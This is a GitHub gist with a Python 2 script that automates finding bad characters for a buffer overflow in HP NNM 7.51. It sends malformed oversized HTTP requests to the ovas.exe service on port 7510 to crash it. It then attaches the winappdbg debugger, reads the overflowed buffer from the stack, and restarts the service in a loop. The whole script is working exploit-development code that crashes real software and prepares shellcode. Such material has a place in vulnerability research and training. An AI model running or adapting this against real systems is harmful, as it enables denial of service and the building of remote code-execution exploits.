Skip to content

Instantly share code, notes, and snippets.

@DanielRTeixeira
Created October 31, 2018 21:28
Show Gist options
  • Save DanielRTeixeira/381925bdcd9620e89ba17575fa6c6e7c to your computer and use it in GitHub Desktop.
Save DanielRTeixeira/381925bdcd9620e89ba17575fa6c6e7c to your computer and use it in GitHub Desktop.
Find bad characters in HP NNM 7.51 with winappdbg
from winappdbg import *
import os, sys, socket, time, threading
## Global Vars
allchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13"
"\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26"
"\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39"
"\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c"
"\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72"
"\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85"
"\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98"
"\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab"
"\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe"
"\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1"
"\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4"
"\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7"
"\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )
counter = -1
badchars = []
goodchars = []
goCrash = False
maxc = len(allchars)-1
crash = []
buffer = []
evil = []
processName = 'ovas.exe'
rhost = '127.0.0.1'
rport = 7510
stop = 'ovstop -c ovas'
start = 'ovstart -c ovas'
def getBase(path):
return os.path.basename(path)
def createBuffer():
global counter, crash, buffer, evil
crash = "A"*8 + allchars[counter]*92 + "B"*3900
buffer ="GET /topology/homeBaseView HTTP/1.1\r\n"
buffer +="Host: %s\r\n"
buffer +="Content-Type: application/x-www-form-urlencoded\r\n"
buffer +="User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n"
buffer +="Content-Length: 1048580\r\n\r\n"
evil = buffer % crash
def createKillBuffer():
global crash, buffer, evil
crash = "A"*4000
buffer ="GET /topology/homeBaseView HTTP/1.1\r\n"
buffer +="Host: %s\r\n"
buffer +="Content-Type: application/x-www-form-urlencoded\r\n"
buffer +="User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n"
buffer +="Content-Length: 1048580\r\n\r\n"
evil = buffer % crash
def crashService():
"""Crasher function started as an independent thread: sends malformed
data to service in order to crash it."""
global goCrash, counter, badchars, goodchars, allchars, maxc, pid, crash, buffer, evil
timer = 0
while True:
if goCrash:
timer = 0
counter += 1
if counter > maxc:
print 'bad chars', str(badchars)
print 'good chars', str(goodchars)
sys.exit()
print "Waiting 1 sec before crashing the service..."
time.sleep(1)
createBuffer()
print "[*] Sending evil request to Service."
try:
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((rhost, rport))
expl.send(evil)
expl.close()
print "Should be Crashed!"
goCrash = False
except:
print "Exception in sending buffer, Service Down????.."
print "Sleeping 5 secs and retrying..."
time.sleep(5)
else:
if timer > 10:
print "10 secs passed and no crash?? Probably a bad char avoid a crash"
print "Let's crash service and mark last char as a bad char..."
createKillBuffer()
try:
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect((rhost, rport))
expl.send(evil)
expl.close()
print "Should be Crashed!"
goCrash = False
except:
print "Exception in sending buffer, Service Down????.."
print "Sleeping 5 secs and retrying..."
time.sleep(5)
time.sleep(1)
timer += 1
return
def restartService():
"""Restarts service after a crash"""
global pid
print "Restarting NNM service..."
os.system(stop)
os.system(start)
return
def findBadChars(rawdata, address):
"""Compares the buffer sent with the one in memory to see if
it has been mangled in order to identify bad characters.
Saves results in good.txt and bad.txt"""
global goCrash, counter, badchars, goodchars, allchars
hexdata = HexDump.hexblock(rawdata, address=address)
print "Searching for ", repr(allchars[counter]) + "In buffer\n", hexdata
## Sent data must be equal to data in memory: we check the beginning
## of the buffer (http://A*8), the whole badchars buffer and some bytes
## after bad chars buffer (to avoid characters expansions issues)
if rawdata == "http://" + "A"*8 + allchars[counter] * 92 + "B"*8:
goodchars.append(allchars[counter])
print repr(allchars[counter]), 'is a good char'
print goodchars
fp = open('good.txt','w')
fp.write(str(goodchars))
fp.close()
return
else:
badchars.append(allchars[counter])
print repr(allchars[counter]), 'is a bad char'
print badchars
fp = open('bad.txt','w')
fp.write(str(badchars))
fp.close()
return
def exception_handler(event):
"""Access Violation Handler function: read data from a
pointer on the stack once an AV has been thrown."""
global goCrash, counter, badchars, goodchars, allchars
if (event.get_event_code() == win32.EXCEPTION_DEBUG_EVENT and
event.get_exception_name() == "EXCEPTION_ACCESS_VIOLATION"):
print "Access Violation Caught!"
print "Checking bad chars..."
## At 0x1C from ESP we find a pointer to our buffer
esp_offset = 0x1C
## Get the pointer
proc = event.get_process()
thread = event.get_thread()
address = proc.read_uint(thread.get_register('Esp') + esp_offset)
print "Buffer location: " + hex(address)
## 115 bytes = http://A*8+BADCHARS+B*8
buffer = proc.read(address, 0x73) # reads first 115 bytes
findBadChars(buffer, address)
event.debug.detach_from_all()
return win32.DBG_EXCEPTION_NOT_HANDLED
def findPid():
"""Find PID for service"""
global processName
print "Searching for service PID ..."
pid = 0
system = System()
for process in system:
if getBase(process.fileName) == processName:
pid = process.get_pid()
return pid
if not pid:
return False
def newDebuggee(pid):
"""Create a debugger instance and attach to ovas PID"""
print "Attaching debugger to pid: %d" % pid
dbg = Debug(exception_handler, bKillOnExit=True)
while True:
try:
if dbg.attach(pid):
return dbg
else:
return False
except:
"Error in attaching..."
time.sleep(1)
if __name__ == '__main__':
global pid
oldpid = 0
## Create crasher thread
crash_thread = threading.Thread(target=crashService)
crash_thread.setDaemon(0)
crash_thread.start()
os.system(start)
## main loop
while True:
print "oldpid ", oldpid
pid = 0
while not pid:
pid = findPid()
if pid == oldpid:
system = System()
for process in System():
if process.get_pid() == pid:
print process.get_pid()
process.kill()
pid == 0
else:
oldpid = pid
time.sleep(2)
dbg = newDebuggee(pid)
if dbg:
goCrash = True
dbg.loop()
else:
print "Can't attach, exiting..."
sys.exit()
restartService()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment